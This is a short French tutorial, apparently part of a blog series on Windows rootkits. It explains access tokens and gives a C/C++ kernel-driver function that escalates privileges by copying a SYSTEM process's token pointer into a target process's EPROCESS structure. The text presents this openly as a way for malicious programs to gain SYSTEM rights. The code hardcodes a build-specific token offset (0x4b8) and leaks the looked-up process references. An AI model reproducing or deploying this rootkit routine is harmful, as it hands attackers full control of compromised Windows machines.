Rootkit Windows : Elevation de privilège #1

Explication

Cette technique permet de copier les privilèges d’un processus src vers un processus dst. Elle est notamment utilisée pour attribuer à un programme malveillant les privilèges d’un processus avec les accès SYSTEM (NT AUTHORITY\SYSTEM) en copiant son jeton d’accès (token).

Un jeton d’accès décrit le contexte de sécurité d’un processus ou d’un thread. Il inclue l’identité et les privilèges du compte d’utilisateur qui a lancé le processus/thread. Lorsqu’un utilisateur se connecte, le système produit un jeton d’accès. Chaque processus exécuté par le compte de cet utilisateur copie ce jeton d’accès.

Les jetons d’accès contiennent, entre autres, les informations suivantes :

  • Identificateur de sécurité (SID) du compte de l’utilisateur
  • SID pour les groupes dont l’utilisateur est membre
  • Liste des privilèges détenus par l’utilisateur ou les groupes de l’utilisateur

Code C/C++

// kernel mode driver required
#include <ntifs.h>
#include <ntddk.h>
#include <windef.h>


#define TOKEN 0x4b8 // localisation du token dans le EPROCESS

NTSTATUS ProcessElevationToken(ULONG srcPid, ULONG dstPid)
{
	NTSTATUS status = STATUS_SUCCESS; 
	PEPROCESS pDstProcess, pSrcProcess; //creation des pointeurs EPROCESS

	// Récupération du EPROCESS du processus de destination
	status = PsLookupProcessByProcessId(ULongToHandle(dstPid), &pDstProcess);
	
	if (!NT_SUCCESS(status)){ // Echec de la récupération du EPROCESS 
		return status; 
	}

	// Récupération du EPROCESS du processus de source
	status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess);
	if (!NT_SUCCESS(status)){ // Echec de la récupération du EPROCESS 
		return status; 
	}

	// Copie du token du processus source vers le processus de destination
	*(UINT64*)((UINT64)pDstProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN);

	return status;
}

PsLookupProcessByProcessId (ntifs.h)

La fonction prend en paramètre le PID d’un processus et renvoie un pointeur vers la structure EPROCESS du processus.

((UINT64)pProcess + (UINT64)TOKEN)

Cette étape permet de calculer l’emplacement du token à l’intérieur de la structure EPROCESS